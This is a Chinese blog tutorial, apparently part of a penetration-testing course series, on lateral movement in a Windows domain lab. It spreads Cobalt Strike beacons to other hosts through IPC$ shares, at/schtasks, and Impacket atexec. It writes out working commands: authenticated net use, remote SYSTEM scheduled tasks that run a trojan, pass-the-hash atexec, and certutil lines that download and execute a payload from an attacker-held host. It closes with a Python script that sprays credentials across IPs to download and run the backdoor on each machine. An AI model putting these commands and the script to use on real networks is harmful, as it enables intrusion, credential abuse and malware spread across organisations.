第128天:内网安全-横向移动&IPC&AT&SC 命令&Impacket 套件&CS 插件&全自动

环境部署

案例一: 域横向移动-IPC-命令版-at&schtasks

首先是通过外网web访问到win2008,获得了win2008的权限,这一步不做演示

因为里面的主机都不出网,所以只能利用win2008进行正向或者反向连接

信息收集

域内用户信息,以及域控名

收集域控ip

现在知道了域内的网段,探测存活主机,一般主机都会默认开启IPC$,ipc的端口是135,这里利用

ipc建立隧道进行文件上传

目标列表可以查看存活主机

这里抓取hash以及明文密码,需要提权到system

提权有很多种方法,可以看这篇文章

第98天:权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞_cs 利用插件提权的方法-CSDN博客第98天:权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞_cs 利用插件提权的方法-CSDN博客获得了system权限利用system权限去抓取hash

 

这里其实直接有了域控的账号密码,是因为我用管理员身份执行了一些操作

win7上线

这里不知道30的是win7还是别的主机

首先ipc建立隧道,这里的思路就是利用刚才抓取的账号密码,一个一个试,可能别人用他的账号登录过这台主机,那么他的账号密码就会记录下来,这里我刚搭建的环境,没登陆过,假设账号密码已知^_^,或者你要是知道了域控管理员的账号直接利用管理员账号登录

shell net use \\目标ip\ipc$ "域控密码或者主机密码" /user:"域控账号或者主机账号"
shell net use \\192.168.3.30\ipc$ "123.com" /user:qq.com\na

实验过程中发现该隧道如果windows防火墙打开的话无法建立连接

隧道建立完成后需要上传木马文件,先尝试正向连接

生成后门

先把生成的木马上传到win2008

 注意上传文件的时候至少需要用到管理员权限(admin或system)

添加计时任务,win2012之前的主机用at命令就可以,之后的主机用schetasks

shell at \\主机ip 时间  命令
shell at \\192.168.3.30 10.40 c:\2.exe 

但是win7这里经过实验发现还是使用schetasks,at命令更加简单,一句话就可以,这里就不复现了

#创建任务beacon
schtasks /create /s 192.168.3.30 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\2.exe /F
 
#运行beacon
schtasks /U administrator /P 123.com /run /s 192.168.3.30 /tn beacon /i 

命令参数

1.schtasks /change    #更改任务的以下一个或多个属性:任务运行的程序 (/tr);运行任务的用户帐户 (/ru);用户帐户的密码 (/rp);将仅交互式属性添加到任务 (/it)

2.schtasks /create    #计划新任务

3.schtasks /delete    #删除计划任务

4.schtasks /end       #停止任务启动的程序

5.schtasks /query     #显示计划在计算机上运行的任务

6.schtasks /run       #立即启动计划任务。 运行操作会忽略计划,但使用任务中保存的程序文件位置、用户帐户和密码立即运行任务
#/sc 启动时间参数为MINUTE、HOURLY、DAILY、WEEKLY等时,需要指定/mo运行的间隔时间
/sc onlogon      用户登录时启动
/sc onstart      系统启动时启动
/sc onidle       系统空闲时启动
/sc MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT。
/sc 分钟、小时、每天、每周、每月、一次、开始、登录、空闲、事件。
参数:
/sc   计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
/tn   计划任务名称,后续查询、修改、删除、执行时使用
/tr   需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
/ru   运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务
/rp   运行任务的用户账户密码
/mo   指定任务在计划类型中的运行间隔
/d    指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。
/m    指定任务在某个月运行,只适用于MONTHLY类型。
/i    当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。
/st    当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。
/ri   指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
/et   指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
/du   指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。
/k    在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
/it   只在用户登录时运行
/z    在任务计划完成后删除任务计划
/f    在创建任务时如果任务已存在不显示警告
/RL   为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。
/F    如果指定的任务已经存在,则强制创建任务并抑制警告。

创建并且运行

然后主动进行连接

因为我运行的账号密码是系统的账号密码,所以获得的是system权限

如果不知道系统账户的用户名密码 ,所以还需要得知道主机的账号密码。感觉真实环境肯定更难一点……

win7上线后可以进一步抓取明文密码和hash,进一步信息收集

正向上线完尝试反向上线

生成木马上传

 创建计划任务并且运行

上线从这幅图里面可以看出来win7有一台是正向,有一台是反向

win2019上线

这里win2019已经改为192.168.3.50,win2019因为系统问题所以很多得需要更高的权限去执行

win2019采用反向上线

生成监听器

 

生成木马,上传到win7

上传前看一下当前路径在哪里

创建ipc隧道,这里上传的时候发现这里创建隧道已经不能再用域用户了,要么使用这台主机的管理员用户,要么使用域的管理员用户,可能是系统的安全策略做了提升

shell net use \\192.168.3.50\ipc$ "123.com" /user:qq.com\administrator

然后创建计时任务,因为系统安全性的提高需要带上账号密码去创建计时任务

shell schtasks /create /s 192.168.3.50 /U administrator /P 123.com /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4.exe /F

然后运行

成功上线

案例二:域横向移动-IPC-插件版-CS&LSTARS

案例三: 域横向移动-IPC-套件版-Impacket-atexec

1、Py版:https://github.com/SecureAuthCorp/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 “ver”
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”

2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows

exe版本上传到win2019(50)去探测win2012(40)

atexec.exe 域名/账号:密码@ip "命令"
atexec.exe ./本地账号:密码@ip "命令"
atexec.exe qq.com/administrator:123.com@192.168.3.40 "whoami"

域用户

本地用户

它可以执行命令那么可以尝试用它进行上线,首先思路是已经拿到了webserver,然后上传木马文件到了webserver

让主机反向连接webserver

利用这条命令远程下载,让win2012进行上线,注意这里的ip是win2012的ip需要下载到自己的主机,通过win2008让win2012执行命令然后下载

atexec.exe ./administrator:123.com@192.168.3.40 "certutil.exe -urlcache -split -f http://192.168.3.20:80/3.exe zx.exe"

默认会下载到c:/windows/system32/下

执行,成功上线

案例四:  域横向移动-IPC-代理版-Socks&Py&atexec

exe有个问题就是文件太大了,上传py文件会好一点,但是python文件目标主机也不一定有python环境,最好的方式是建立节点在自己主机上运行。

代理转发

设置代理节点

直接在kali上运行,通过kali连接win2008给自己的节点,去连接win2012

 在kali本地利用python文件远程下载木马,不用管这个报错这里已经下载成功了

记得开启win2008的监听

kali本地执行木马

成功上线

然后可以写python文件批量进行连接思路就是,把收集到的账号,密码,以及ip全部写成字典,然后,批量用atexec.py上传木马,然后运行

win2008只获得了这几个密码

前面通过端口扫描获得的ip,这里有一个问题是当执行上线命令后会卡住,不能执行后面的主机

import os  
# 使用列表来存储密码,确保每个密码都是独立的元素  
passwords = [  
    '123.com',    
]   
# IP 地址集合  
ips = {  
    '192.168.3.10',  
    '192.168.3.30', 
    '192.168.3.40',
    '192.168.3.50'  
}  
# 用户名集合  
users = {  
    'administrator',  
    'jie'
}  
def xz():  # 下载后门  
    for ip in ips:  
        for user in users:  
            for password in passwords:  
                # 注意修正了路径和用户名的问题  
                exec1 = f'python atexec.py ./administrator:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.20/3.exe zx1.exe & zx1.exe"'  
                exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.20/3.exe zx1.exe & zx1.exe"'  
                print('--->' + exec1 + '<---')  
                print('--->' + exec2 + '<---')  
                os.system(exec1)  
                os.system(exec2)  
if __name__ == '__main__':  
    xz()

通过代理执行这个文件

这里也上线了几台主机

 

  • 29
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值